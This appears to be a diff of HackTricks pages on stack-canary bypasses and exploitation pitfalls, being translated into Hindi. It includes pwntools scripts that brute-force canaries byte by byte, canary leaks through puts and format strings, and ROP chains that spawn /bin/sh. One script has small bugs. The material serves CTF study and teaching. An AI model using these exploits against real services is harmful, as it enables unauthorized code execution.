यह तंत्र **EBP** से पहले एक **canary** रखता है, और स्थानीय चर को पुनर्गठित करता है ताकि बफर उच्च मेमोरी पते पर स्थित हों, जिससे वे अन्य चर को ओवरराइट नहीं कर सकें। यह स्थानीय चर के ऊपर स्टैक पर पास किए गए तर्कों को सुरक्षित रूप से कॉपी करता है और इन कॉपियों का उपयोग तर्कों के रूप में करता है। हालाँकि, यह 8 तत्वों से कम वाले ऐरे या उपयोगकर्ता की संरचना के भीतर बफर की सुरक्षा नहीं करता है।
|
||||
|
||||
The **canary** is a random number derived from `/dev/urandom` or a default value of `0xff0a0000`. It is stored in **TLS (Thread Local Storage)**, allowing shared memory spaces across threads to have thread-specific global or static variables. These variables are initially copied from the parent process, and child processes can alter their data without affecting the parent or siblings. Nevertheless, if a **`fork()` is used without creating a new canary, all processes (parent and children) share the same canary**, making it vulnerable. On the **i386** architecture, the canary is stored at `gs:0x14`, and on **x86_64**, at `fs:0x28`.
|
||||
**canary** एक यादृच्छिक संख्या है जो `/dev/urandom` से प्राप्त होती है या इसका डिफ़ॉल्ट मान `0xff0a0000` होता है। इसे **TLS (Thread Local Storage)** में संग्रहीत किया जाता है, जिससे थ्रेड्स के बीच साझा मेमोरी स्थानों में थ्रेड-विशिष्ट वैश्विक या स्थिर चर हो सकते हैं। ये चर प्रारंभ में माता-पिता प्रक्रिया से कॉपी किए जाते हैं, और बाल प्रक्रियाएँ अपने डेटा को माता-पिता या भाई-बहनों को प्रभावित किए बिना बदल सकती हैं। फिर भी, यदि **`fork()` का उपयोग बिना नए canary बनाए किया जाता है, तो सभी प्रक्रियाएँ (माता-पिता और बच्चे) एक ही canary साझा करती हैं**, जिससे यह कमजोर हो जाता है। **i386** आर्किटेक्चर पर, canary `gs:0x14` पर संग्रहीत होता है, और **x86_64** पर, `fs:0x28` पर।
|
||||
|
||||
This local protection identifies functions with buffers vulnerable to attacks and injects code at the start of these functions to place the canary, and at the end to verify its integrity.
|
||||
यह स्थानीय सुरक्षा उन फ़ंक्शनों की पहचान करती है जिनमें बफर हमलों के प्रति संवेदनशील होते हैं और इन फ़ंक्शनों की शुरुआत में कोड इंजेक्ट करती है ताकि canary को रखा जा सके, और अंत में इसकी अखंडता की पुष्टि करने के लिए।
|
||||
|
||||
When a web server uses `fork()`, it enables a brute-force attack to guess the canary byte by byte. However, using `execve()` after `fork()` overwrites the memory space, negating the attack. `vfork()` allows the child process to execute without duplication until it attempts to write, at which point a duplicate is created, offering a different approach to process creation and memory handling.
|
||||
जब एक वेब सर्वर `fork()` का उपयोग करता है, तो यह canary बाइट को बाइट द्वारा अनुमान लगाने के लिए एक ब्रूट-फोर्स हमले को सक्षम करता है। हालाँकि, `fork()` के बाद `execve()` का उपयोग मेमोरी स्थान को ओवरराइट करता है, जिससे हमले को नकारा जाता है। `vfork()` बाल प्रक्रिया को डुप्लिकेशन के बिना निष्पादित करने की अनुमति देता है जब तक कि यह लिखने का प्रयास नहीं करता, जिस बिंदु पर एक डुप्लिकेट बनाया जाता है, जो प्रक्रिया निर्माण और मेमोरी प्रबंधन के लिए एक अलग दृष्टिकोण प्रदान करता है।
|
||||
|
||||
### Lengths
|
||||
### लंबाई
|
||||
|
||||
In `x64` binaries, the canary cookie is an **`0x8`** byte qword. The **first seven bytes are random** and the last byte is a **null byte.**
|
||||
`x64` बाइनरी में, canary कुकी एक **`0x8`** बाइट क्यूवर्ड है। **पहले सात बाइट यादृच्छिक** हैं और अंतिम बाइट एक **null byte** है।
|
||||
|
||||
In `x86` binaries, the canary cookie is a **`0x4`** byte dword. The f**irst three bytes are random** and the last byte is a **null byte.**
|
||||
`x86` बाइनरी में, canary कुकी एक **`0x4`** बाइट ड्वॉर्ड है। **पहले तीन बाइट यादृच्छिक** हैं और अंतिम बाइट एक **null byte** है।
|
||||
|
||||
> [!CAUTION]
|
||||
> The least significant byte of both canaries is a null byte because it'll be the first in the stack coming from lower addresses and therefore **functions that read strings will stop before reading it**.
|
||||
> दोनों canaries का सबसे कम महत्वपूर्ण बाइट एक null byte है क्योंकि यह स्टैक में सबसे पहले होगा जो निम्न पते से आ रहा है और इसलिए **जो फ़ंक्शन स्ट्रिंग पढ़ते हैं वे इसे पढ़ने से पहले रुक जाएंगे**।
|
||||
|
||||
## Bypasses
|
||||
## बायपास
|
||||
|
||||
**Leaking the canary** and then overwriting it (e.g. buffer overflow) with its own value.
|
||||
**canary को लीक करना** और फिर इसे अपने मान (जैसे बफर ओवरफ्लो) के साथ ओवरराइट करना।
|
||||
|
||||
- If the **canary is forked in child processes** it might be possible to **brute-force** it one byte at a time:
|
||||
- यदि **canary को बाल प्रक्रियाओं में fork किया गया है** तो इसे एक बाइट में ब्रूट-फोर्स करना संभव हो सकता है:
|
||||
|
||||
{{#ref}}
|
||||
bf-forked-stack-canaries.md
|
||||
{{#endref}}
|
||||
|
||||
- If there is some interesting **leak or arbitrary read vulnerability** in the binary it might be possible to leak it:
|
||||
- यदि बाइनरी में कुछ दिलचस्प **लीक या मनमाना पढ़ने की कमजोरी** है तो इसे लीक करना संभव हो सकता है:
|
||||
|
||||
{{#ref}}
|
||||
print-stack-canary.md
|
||||
{{#endref}}
|
||||
|
||||
- **Overwriting stack stored pointers**
|
||||
- **स्टैक में संग्रहीत पॉइंटर्स को ओवरराइट करना**
|
||||
|
||||
The stack vulnerable to a stack overflow might **contain addresses to strings or functions that can be overwritten** in order to exploit the vulnerability without needing to reach the stack canary. Check:
|
||||
स्टैक जो स्टैक ओवरफ्लो के प्रति संवेदनशील है, **स्ट्रिंग्स या फ़ंक्शंस के पते को शामिल कर सकता है जिन्हें ओवरराइट किया जा सकता है** ताकि कमजोरी का लाभ उठाया जा सके बिना स्टैक canary तक पहुँचने की आवश्यकता के। जाँच करें:
|
||||
|
||||
{{#ref}}
|
||||
../../stack-overflow/pointer-redirecting.md
|
||||
{{#endref}}
|
||||
|
||||
- **Modifying both master and thread canary**
|
||||
- **मास्टर और थ्रेड canary दोनों को संशोधित करना**
|
||||
|
||||
A buffer **overflow in a threaded function** protected with canary can be used to **modify the master canary of the thread**. As a result, the mitigation is useless because the check is used with two canaries that are the same (although modified).
|
||||
एक बफर **ओवरफ्लो एक थ्रेडेड फ़ंक्शन में** जो canary से सुरक्षित है, का उपयोग **थ्रेड के मास्टर canary को संशोधित करने के लिए किया जा सकता है**। परिणामस्वरूप, यह शमन बेकार है क्योंकि जाँच दो समान canaries के साथ की जाती है (हालाँकि संशोधित)।
|
||||
|
||||
Moreover, a buffer **overflow in a threaded function** protected with canary could be used to **modify the master canary stored in the TLS**. This is because, it might be possible to reach the memory position where the TLS is stored (and therefore, the canary) via a **bof in the stack** of a thread.\
|
||||
As a result, the mitigation is useless because the check is used with two canaries that are the same (although modified).\
|
||||
This attack is performed in the writeup: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
|
||||
इसके अलावा, एक बफर **ओवरफ्लो एक थ्रेडेड फ़ंक्शन में** जो canary से सुरक्षित है, का उपयोग **TLS में संग्रहीत मास्टर canary को संशोधित करने के लिए किया जा सकता है**। इसका कारण यह है कि, यह संभव हो सकता है कि थ्रेड के स्टैक में **bof** के माध्यम से TLS में संग्रहीत मेमोरी स्थिति तक पहुँचा जा सके (और इसलिए, canary)।\
|
||||
परिणामस्वरूप, यह शमन बेकार है क्योंकि जाँच दो समान canaries के साथ की जाती है (हालाँकि संशोधित)।\
|
||||
यह हमला लिखने में किया गया है: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
|
||||
|
||||
Check also the presentation of [https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015) which mentions that usually the **TLS** is stored by **`mmap`** and when a **stack** of **thread** is created it's also generated by `mmap` according to this, which might allow the overflow as shown in the previous writeup.
|
||||
जाँच करें [https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015) की प्रस्तुति जो यह उल्लेख करती है कि आमतौर पर **TLS** को **`mmap`** द्वारा संग्रहीत किया जाता है और जब एक **थ्रेड** का **स्टैक** बनाया जाता है तो इसे भी `mmap` द्वारा उत्पन्न किया जाता है, जो पिछले लिखने में दिखाए गए ओवरफ्लो की अनुमति दे सकता है।
|
||||
|
||||
- **Modify the GOT entry of `__stack_chk_fail`**
|
||||
- **`__stack_chk_fail` के GOT प्रविष्टि को संशोधित करना**
|
||||
|
||||
If the binary has Partial RELRO, then you can use an arbitrary write to modify the **GOT entry of `__stack_chk_fail`** to be a dummy function that does not block the program if the canary gets modified.
|
||||
यदि बाइनरी में Partial RELRO है, तो आप **`__stack_chk_fail` के GOT प्रविष्टि को** एक डमी फ़ंक्शन में संशोधित करने के लिए एक मनमाना लेखन का उपयोग कर सकते हैं जो canary के संशोधित होने पर कार्यक्रम को अवरुद्ध नहीं करता है।
|
||||
|
||||
This attack is performed in the writeup: [https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/](https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/)
|
||||
यह हमला लिखने में किया गया है: [https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/](https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/)
|
||||
|
||||
## References
|
||||
## संदर्भ
|
||||
|
||||
- [https://guyinatuxedo.github.io/7.1-mitigation_canary/index.html](https://guyinatuxedo.github.io/7.1-mitigation_canary/index.html)
|
||||
- [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
|
||||
|
||||
@ -2,55 +2,54 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
**If you are facing a binary protected by a canary and PIE (Position Independent Executable) you probably need to find a way to bypass them.**
|
||||
**यदि आप एक कैनरी और PIE (पोजीशन इंडिपेंडेंट एक्सीक्यूटेबल) द्वारा संरक्षित बाइनरी का सामना कर रहे हैं, तो आपको शायद उन्हें बायपास करने का एक तरीका खोजने की आवश्यकता है।**
|
||||
|
||||
.png>)
|
||||
|
||||
> [!NOTE]
|
||||
> Note that **`checksec`** might not find that a binary is protected by a canary if this was statically compiled and it's not capable to identify the function.\
|
||||
> However, you can manually notice this if you find that a value is saved in the stack at the beginning of a function call and this value is checked before exiting.
|
||||
> ध्यान दें कि **`checksec`** यह नहीं पता लगा सकता है कि एक बाइनरी कैनरी द्वारा संरक्षित है यदि इसे स्थिर रूप से संकलित किया गया था और यह फ़ंक्शन की पहचान करने में असमर्थ है।\
|
||||
> हालाँकि, आप इसे मैन्युअल रूप से देख सकते हैं यदि आप पाते हैं कि एक मान फ़ंक्शन कॉल की शुरुआत में स्टैक में सहेजा गया है और इस मान की जांच बाहर निकलने से पहले की जाती है।
|
||||
|
||||
## Brute force Canary
|
||||
## ब्रूट फोर्स कैनरी
|
||||
|
||||
The best way to bypass a simple canary is if the binary is a program **forking child processes every time you establish a new connection** with it (network service), because every time you connect to it **the same canary will be used**.
|
||||
एक साधारण कैनरी को बायपास करने का सबसे अच्छा तरीका है यदि बाइनरी एक प्रोग्राम है **जो हर बार जब आप इसके साथ एक नया कनेक्शन स्थापित करते हैं तो चाइल्ड प्रोसेस को फोर्क करता है** (नेटवर्क सेवा), क्योंकि हर बार जब आप इससे कनेक्ट होते हैं **तो वही कैनरी का उपयोग किया जाएगा**।
|
||||
|
||||
Then, the best way to bypass the canary is just to **brute-force it char by char**, and you can figure out if the guessed canary byte was correct checking if the program has crashed or continues its regular flow. In this example the function **brute-forces an 8 Bytes canary (x64)** and distinguish between a correct guessed byte and a bad byte just **checking** if a **response** is sent back by the server (another way in **other situation** could be using a **try/except**):
|
||||
फिर, कैनरी को बायपास करने का सबसे अच्छा तरीका है बस इसे **चर द्वारा चर ब्रूट-फोर्स करना**, और आप यह पता लगा सकते हैं कि क्या अनुमानित कैनरी बाइट सही थी यह जांचकर कि क्या प्रोग्राम क्रैश हुआ है या अपनी नियमित धारा में जारी है। इस उदाहरण में फ़ंक्शन **8 बाइट्स कैनरी (x64)** को ब्रूट-फोर्स करता है और एक सही अनुमानित बाइट और एक खराब बाइट के बीच अंतर करता है बस **जांचकर** कि क्या सर्वर द्वारा एक **प्रतिक्रिया** वापस भेजी गई है (एक अन्य तरीके में **अन्य स्थिति** में **try/except** का उपयोग करना हो सकता है):
|
||||
|
||||
### Example 1
|
||||
|
||||
This example is implemented for 64bits but could be easily implemented for 32 bits.
|
||||
### उदाहरण 1
|
||||
|
||||
यह उदाहरण 64 बिट्स के लिए लागू किया गया है लेकिन इसे 32 बिट्स के लिए आसानी से लागू किया जा सकता है।
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
def connect():
|
||||
r = remote("localhost", 8788)
|
||||
r = remote("localhost", 8788)
|
||||
|
||||
def get_bf(base):
|
||||
canary = ""
|
||||
guess = 0x0
|
||||
base += canary
|
||||
canary = ""
|
||||
guess = 0x0
|
||||
base += canary
|
||||
|
||||
while len(canary) < 8:
|
||||
while guess != 0xff:
|
||||
r = connect()
|
||||
while len(canary) < 8:
|
||||
while guess != 0xff:
|
||||
r = connect()
|
||||
|
||||
r.recvuntil("Username: ")
|
||||
r.send(base + chr(guess))
|
||||
r.recvuntil("Username: ")
|
||||
r.send(base + chr(guess))
|
||||
|
||||
if "SOME OUTPUT" in r.clean():
|
||||
print "Guessed correct byte:", format(guess, '02x')
|
||||
canary += chr(guess)
|
||||
base += chr(guess)
|
||||
guess = 0x0
|
||||
r.close()
|
||||
break
|
||||
else:
|
||||
guess += 1
|
||||
r.close()
|
||||
if "SOME OUTPUT" in r.clean():
|
||||
print "Guessed correct byte:", format(guess, '02x')
|
||||
canary += chr(guess)
|
||||
base += chr(guess)
|
||||
guess = 0x0
|
||||
r.close()
|
||||
break
|
||||
else:
|
||||
guess += 1
|
||||
r.close()
|
||||
|
||||
print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
|
||||
return base
|
||||
print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
|
||||
return base
|
||||
|
||||
canary_offset = 1176
|
||||
base = "A" * canary_offset
|
||||
@ -58,43 +57,41 @@ print("Brute-Forcing canary")
|
||||
base_canary = get_bf(base) #Get yunk data + canary
|
||||
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary
|
||||
```
|
||||
### उदाहरण 2
|
||||
|
||||
### Example 2
|
||||
|
||||
This is implemented for 32 bits, but this could be easily changed to 64bits.\
|
||||
Also note that for this example the **program expected first a byte to indicate the size of the input** and the payload.
|
||||
|
||||
यह 32 बिट्स के लिए लागू किया गया है, लेकिन इसे 64 बिट्स में आसानी से बदला जा सकता है।\
|
||||
यह भी ध्यान दें कि इस उदाहरण के लिए **कार्यक्रम ने पहले इनपुट के आकार को इंगित करने के लिए एक बाइट की अपेक्षा की** और पेलोड।
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
# Here is the function to brute force the canary
|
||||
def breakCanary():
|
||||
known_canary = b""
|
||||
test_canary = 0x0
|
||||
len_bytes_to_read = 0x21
|
||||
known_canary = b""
|
||||
test_canary = 0x0
|
||||
len_bytes_to_read = 0x21
|
||||
|
||||
for j in range(0, 4):
|
||||
# Iterate up to 0xff times to brute force all posible values for byte
|
||||
for test_canary in range(0xff):
|
||||
print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="")
|
||||
for j in range(0, 4):
|
||||
# Iterate up to 0xff times to brute force all posible values for byte
|
||||
for test_canary in range(0xff):
|
||||
print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="")
|
||||
|
||||
# Send the current input size
|
||||
target.send(len_bytes_to_read.to_bytes(1, "little"))
|
||||
# Send the current input size
|
||||
target.send(len_bytes_to_read.to_bytes(1, "little"))
|
||||
|
||||
# Send this iterations canary
|
||||
target.send(b"0"*0x20 + known_canary + test_canary.to_bytes(1, "little"))
|
||||
# Send this iterations canary
|
||||
target.send(b"0"*0x20 + known_canary + test_canary.to_bytes(1, "little"))
|
||||
|
||||
# Scan in the output, determine if we have a correct value
|
||||
output = target.recvuntil(b"exit.")
|
||||
if b"YUM" in output:
|
||||
# If we have a correct value, record the canary value, reset the canary value, and move on
|
||||
print(" - next byte is: " + hex(test_canary))
|
||||
known_canary = known_canary + test_canary.to_bytes(1, "little")
|
||||
len_bytes_to_read += 1
|
||||
break
|
||||
# Scan in the output, determine if we have a correct value
|
||||
output = target.recvuntil(b"exit.")
|
||||
if b"YUM" in output:
|
||||
# If we have a correct value, record the canary value, reset the canary value, and move on
|
||||
print(" - next byte is: " + hex(test_canary))
|
||||
known_canary = known_canary + test_canary.to_bytes(1, "little")
|
||||
len_bytes_to_read += 1
|
||||
break
|
||||
|
||||
# Return the canary
|
||||
return known_canary
|
||||
# Return the canary
|
||||
return known_canary
|
||||
|
||||
# Start the target process
|
||||
target = process('./feedme')
|
||||
@ -104,18 +101,17 @@ target = process('./feedme')
|
||||
canary = breakCanary()
|
||||
log.info(f"The canary is: {canary}")
|
||||
```
|
||||
|
||||
## Threads
|
||||
|
||||
Threads of the same process will also **share the same canary token**, therefore it'll be possible to **brute-forc**e a canary if the binary spawns a new thread every time an attack happens. 
|
||||
एक ही प्रक्रिया के थ्रेड भी **एक ही कैनरी टोकन** साझा करेंगे, इसलिए यह संभव होगा कि हम **ब्रूट-फोर्स** एक कैनरी कर सकें यदि बाइनरी हर बार हमले के होने पर एक नया थ्रेड उत्पन्न करती है। 
|
||||
|
||||
Moreover, a buffer **overflow in a threaded function** protected with canary could be used to **modify the master canary stored in the TLS**. This is because, it might be possible to reach the memory position where the TLS is stored (and therefore, the canary) via a **bof in the stack** of a thread.\
|
||||
As a result, the mitigation is useless because the check is used with two canaries that are the same (although modified).\
|
||||
This attack is performed in the writeup: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
|
||||
इसके अलावा, एक थ्रेडेड फ़ंक्शन में **बफर ओवरफ्लो** जो कैनरी से सुरक्षित है, का उपयोग **TLS में संग्रहीत मास्टर कैनरी को संशोधित करने** के लिए किया जा सकता है। इसका कारण यह है कि, यह संभव हो सकता है कि थ्रेड के **स्टैक** में एक **bof** के माध्यम से उस मेमोरी स्थिति तक पहुँचा जा सके जहाँ TLS संग्रहीत है (और इसलिए, कैनरी)।\
|
||||
इसके परिणामस्वरूप, यह शमन बेकार है क्योंकि जांच दो समान कैनरी के साथ की जाती है (हालांकि संशोधित)।\
|
||||
यह हमला इस लेख में किया गया है: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
|
||||
|
||||
Check also the presentation of [https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015) which mentions that usually the **TLS** is stored by **`mmap`** and when a **stack** of **thread** is created it's also generated by `mmap` according to this, which might allow the overflow as shown in the previous writeup.
|
||||
इसके अलावा, [https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015) की प्रस्तुति देखें जो बताती है कि आमतौर पर **TLS** को **`mmap`** द्वारा संग्रहीत किया जाता है और जब एक **थ्रेड** का **स्टैक** बनाया जाता है, तो इसे भी `mmap` द्वारा उत्पन्न किया जाता है, जो पिछले लेख में दिखाए गए ओवरफ्लो की अनुमति दे सकता है।
|
||||
|
||||
## Other examples & references
|
||||
|
||||
- [https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html)
|
||||
- 64 bits, no PIE, nx, BF canary, write in some memory a ROP to call `execve` and jump there.
|
||||
- 64 bits, no PIE, nx, BF canary, write in some memory a ROP to call `execve` and jump there.
|
||||
|
||||
@ -4,30 +4,30 @@
|
||||
|
||||
## Enlarge printed stack
|
||||
|
||||
Imagine a situation where a **program vulnerable** to stack overflow can execute a **puts** function **pointing** to **part** of the **stack overflow**. The attacker knows that the **first byte of the canary is a null byte** (`\x00`) and the rest of the canary are **random** bytes. Then, the attacker may create an overflow that **overwrites the stack until just the first byte of the canary**.
|
||||
एक ऐसी स्थिति की कल्पना करें जहाँ एक **program vulnerable** to stack overflow **puts** फ़ंक्शन को **pointing** कर सकता है **part** of the **stack overflow**. हमलावर जानता है कि **canary का पहला byte एक null byte** है (`\x00`) और बाकी का canary **random** bytes हैं। फिर, हमलावर एक overflow बना सकता है जो **stack को overwrite करता है जब तक कि canary का पहला byte** नहीं हो जाता।
|
||||
|
||||
Then, the attacker **calls the puts functionalit**y on the middle of the payload which will **print all the canary** (except from the first null byte).
|
||||
फिर, हमलावर **payload के मध्य में puts functionality** को **call** करता है जो **सभी canary को print करेगा** (पहले null byte को छोड़कर)।
|
||||
|
||||
With this info the attacker can **craft and send a new attack** knowing the canary (in the same program session).
|
||||
इस जानकारी के साथ हमलावर **canary को जानकर एक नया हमला तैयार और भेज** सकता है (उसी program session में)।
|
||||
|
||||
Obviously, this tactic is very **restricted** as the attacker needs to be able to **print** the **content** of his **payload** to **exfiltrate** the **canary** and then be able to create a new payload (in the **same program session**) and **send** the **real buffer overflow**.
|
||||
स्पष्ट रूप से, यह रणनीति बहुत **restricted** है क्योंकि हमलावर को अपने **payload** की **content** को **print** करने में सक्षम होना चाहिए ताकि **canary** को **exfiltrate** कर सके और फिर एक नया payload (उसी **program session** में) बना सके और **real buffer overflow** को **send** कर सके।
|
||||
|
||||
**CTF examples:** 
|
||||
|
||||
- [**https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html**](https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html)
|
||||
- 64 bit, ASLR enabled but no PIE, the first step is to fill an overflow until the byte 0x00 of the canary to then call puts and leak it. With the canary a ROP gadget is created to call puts to leak the address of puts from the GOT and the a ROP gadget to call `system('/bin/sh')`
|
||||
- 64 bit, ASLR सक्षम लेकिन कोई PIE नहीं, पहला कदम overflow को भरना है जब तक canary का byte 0x00 नहीं हो जाता ताकि फिर puts को call किया जा सके और इसे leak किया जा सके। canary के साथ एक ROP gadget बनाया जाता है जो puts को call करता है ताकि GOT से puts का पता leak किया जा सके और फिर एक ROP gadget जो `system('/bin/sh')` को call करता है।
|
||||
- [**https://guyinatuxedo.github.io/14-ret_2_system/hxp18_poorCanary/index.html**](https://guyinatuxedo.github.io/14-ret_2_system/hxp18_poorCanary/index.html)
|
||||
- 32 bit, ARM, no relro, canary, nx, no pie. Overflow with a call to puts on it to leak the canary + ret2lib calling `system` with a ROP chain to pop r0 (arg `/bin/sh`) and pc (address of system)
|
||||
- 32 bit, ARM, कोई relro नहीं, canary, nx, कोई pie नहीं। इसे leak करने के लिए puts पर एक call के साथ overflow करें + ret2lib जो `system` को ROP chain के साथ call करता है ताकि r0 (arg `/bin/sh`) और pc (system का पता) को pop किया जा सके।
|
||||
|
||||
## Arbitrary Read
|
||||
|
||||
With an **arbitrary read** like the one provided by format **strings** it might be possible to leak the canary. Check this example: [**https://ir0nstone.gitbook.io/notes/types/stack/canaries**](https://ir0nstone.gitbook.io/notes/types/stack/canaries) and you can read about abusing format strings to read arbitrary memory addresses in:
|
||||
एक **arbitrary read** के साथ जैसे कि format **strings** द्वारा प्रदान किया गया, canary को leak करना संभव हो सकता है। इस उदाहरण को देखें: [**https://ir0nstone.gitbook.io/notes/types/stack/canaries**](https://ir0nstone.gitbook.io/notes/types/stack/canaries) और आप पढ़ सकते हैं कि format strings का दुरुपयोग करके कैसे arbitrary memory addresses को पढ़ा जा सकता है:
|
||||
|
||||
{{#ref}}
|
||||
../../format-strings/
|
||||
{{#endref}}
|
||||
|
||||
- [https://guyinatuxedo.github.io/14-ret_2_system/asis17_marymorton/index.html](https://guyinatuxedo.github.io/14-ret_2_system/asis17_marymorton/index.html)
|
||||
- This challenge abuses in a very simple way a format string to read the canary from the stack
|
||||
- यह चुनौती एक बहुत सरल तरीके से format string का दुरुपयोग करती है ताकि stack से canary को पढ़ा जा सके।
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -1,15 +1,14 @@
|
||||
# Common Exploiting Problems
|
||||
# सामान्य शोषण समस्याएँ
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## FDs in Remote Exploitation
|
||||
## दूरस्थ शोषण में FDs
|
||||
|
||||
When sending an exploit to a remote server that calls **`system('/bin/sh')`** for example, this will be executed in the server process ofc, and `/bin/sh` will expect input from stdin (FD: `0`) and will print the output in stdout and stderr (FDs `1` and `2`). So the attacker won't be able to interact with the shell.
|
||||
जब एक दूरस्थ सर्वर को एक शोषण भेजा जाता है जो **`system('/bin/sh')`** को कॉल करता है, उदाहरण के लिए, यह सर्वर प्रक्रिया में निष्पादित होगा, और `/bin/sh` stdin (FD: `0`) से इनपुट की अपेक्षा करेगा और stdout और stderr (FDs `1` और `2`) में आउटपुट प्रिंट करेगा। इसलिए हमलावर शेल के साथ इंटरैक्ट नहीं कर पाएगा।
|
||||
|
||||
A way to fix this is to suppose that when the server started it created the **FD number `3`** (for listening) and that then, your connection is going to be in the **FD number `4`**. Therefore, it's possible to use the syscall **`dup2`** to duplicate the stdin (FD 0) and the stdout (FD 1) in the FD 4 (the one of the connection of the attacker) so it'll make feasible to contact the shell once it's executed.
|
||||
|
||||
[**Exploit example from here**](https://ir0nstone.gitbook.io/notes/types/stack/exploiting-over-sockets/exploit):
|
||||
इसका एक समाधान यह है कि मान लिया जाए कि जब सर्वर शुरू हुआ, तो उसने **FD संख्या `3`** (सुनने के लिए) बनाई और फिर, आपका कनेक्शन **FD संख्या `4`** में होगा। इसलिए, यह संभव है कि syscall **`dup2`** का उपयोग करके stdin (FD 0) और stdout (FD 1) को FD 4 (हमलावर के कनेक्शन वाला) में डुप्लिकेट किया जाए ताकि यह शेल से संपर्क करना संभव हो सके जब इसे निष्पादित किया जाए।
|
||||
|
||||
[**यहाँ से शोषण उदाहरण**](https://ir0nstone.gitbook.io/notes/types/stack/exploiting-over-sockets/exploit):
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -26,13 +25,12 @@ p.sendline(rop.chain())
|
||||
p.recvuntil('Thanks!\x00')
|
||||
p.interactive()
|
||||
```
|
||||
|
||||
## Socat & pty
|
||||
|
||||
Note that socat already transfers **`stdin`** and **`stdout`** to the socket. However, the `pty` mode **include DELETE characters**. So, if you send a `\x7f` ( `DELETE` -)it will **delete the previous character** of your exploit.
|
||||
ध्यान दें कि socat पहले से ही **`stdin`** और **`stdout`** को सॉकेट पर स्थानांतरित करता है। हालाँकि, `pty` मोड **DELETE वर्णों** को **शामिल करता है**। इसलिए, यदि आप `\x7f` ( `DELETE` -) भेजते हैं, तो यह **आपके एक्सप्लॉइट के पिछले वर्ण को हटा देगा**।
|
||||
|
||||
In order to bypass this the **escape character `\x16` must be prepended to any `\x7f` sent.**
|
||||
इससे बचने के लिए **escape character `\x16` को भेजे गए किसी भी `\x7f` से पहले जोड़ा जाना चाहिए।**
|
||||
|
||||
**Here you can** [**find an example of this behaviour**](https://ir0nstone.gitbook.io/hackthebox/challenges/pwn/dream-diary-chapter-1/unlink-exploit)**.**
|
||||
**यहाँ आप** [**इस व्यवहार का एक उदाहरण पा सकते हैं**](https://ir0nstone.gitbook.io/hackthebox/challenges/pwn/dream-diary-chapter-1/unlink-exploit)**।**
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@ -2,22 +2,15 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
<figure><img src="../../images/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
## Basic Information
|
||||
|
||||
In C **`printf`** is a function that can be used to **print** some string. The **first parameter** this function expects is the **raw text with the formatters**. The **following parameters** expected are the **values** to **substitute** the **formatters** from the raw text.
|
||||
C में **`printf`** एक फ़ंक्शन है जिसका उपयोग कुछ स्ट्रिंग को **प्रिंट** करने के लिए किया जा सकता है। इस फ़ंक्शन की **पहली पैरामीटर** जो अपेक्षित है, वह है **फॉर्मेटर्स के साथ कच्चा टेक्स्ट**। **अन्य पैरामीटर** जो अपेक्षित हैं, वे हैं **मान** जो कच्चे टेक्स्ट से **फॉर्मेटर्स** को **बदलने** के लिए हैं।
|
||||
|
||||
Other vulnerable functions are **`sprintf()`** and **`fprintf()`**.
|
||||
अन्य संवेदनशील फ़ंक्शन हैं **`sprintf()`** और **`fprintf()`**।
|
||||
|
||||
The vulnerability appears when an **attacker text is used as the first argument** to this function. The attacker will be able to craft a **special input abusing** the **printf format** string capabilities to read and **write any data in any address (readable/writable)**. Being able this way to **execute arbitrary code**.
|
||||
